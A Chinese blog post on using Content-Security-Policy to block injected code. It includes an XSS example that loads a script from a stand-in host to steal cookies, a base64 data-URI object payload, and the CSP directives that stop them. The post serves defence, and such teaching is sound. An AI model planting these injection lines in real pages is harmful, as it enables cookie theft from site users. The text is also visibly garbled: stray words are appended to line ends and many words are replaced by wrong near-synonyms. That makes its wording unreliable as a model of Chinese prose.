首先,什么是最后一道防线?
网页入侵都有一个过程,简单来讲,就是1.代码注入,2.代码执行。php
对于黑客来讲,代码注入后并不表明就万事大吉了,由于此时代码只是安静地躺在受害者的服务器里,什么坏事都没干呢!html
因此必需要有代码执行这一步。
今天要讲的,就是如何阻止恶意代码的执行。安全
好比个人某个网站 example.com 被注入了恶意代码了,这段代码长这样:服务器
<script src="badguy.com/steal-your-cookies.js"></script>
这段代码会从一个叫 badguy.com 的网站加载一个 js 脚本文件并执行。只要这段代码被执行了,用户的一些信息就会被窃取。cookie
Data URI scheme 设计的初衷是为了把一些小的资源,好比图片,直接嵌入到 HTML 中,避免了额外的加载。
好比,传统的图片代码是这样的:网络
<img src="example.com/1.jpg" />
这种加载会额外消耗网络带宽,并增长网页的响应时间
如今能够这样作:网站
<img src="data:image/gif;base64,编码数据" />
这样的话,只要加载一次,就能够显示图片了。
不过,这种方式能够被利用来执行JS代码!
好比,黑客只要注入下面这段看起来人畜无害的代码,用户一打开网页,就会……boom!(好吧,其实就是弹出个对话框,调戏下用户)编码
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>
固然恶意代码执行的方式多种多样,这里就不一一列举了,你们有个概念便可。设计
CSP是 Content-Security-Policy 缩写,基本做用是创建一套白名单,全部在白名单以外的代码都不容许执行。code
Content-Security-Policy: script-src 'self'
如此一来,例1中的 steal-your-cookies.js
脚本便不会被加载,更不会被执行了。
Content-Security-Policy: object-src 'none'
如此一来,例2中的 base64 编码后的代码就没法被执行了。
可是,除了 object 标签外,img 标签也是能够执行 base64 代码的,除了 img,还有 media, frame 等……
Content-Security-Policy: report-uri http://example.com/report.php
在 CSP 策略中加入 report-uri 指令,便可向特定网址发送当前网页里任何违反 CSP 策略的状况。如此一来,管理员即可以知道本身的网站是否被入侵了。
接下来是广告时间:
个人简书:http://www.jianshu.com/u/0708...
个人知乎:https://www.zhihu.com/people/...
个人公众号:OutOfRange
有事欢迎骚扰 ~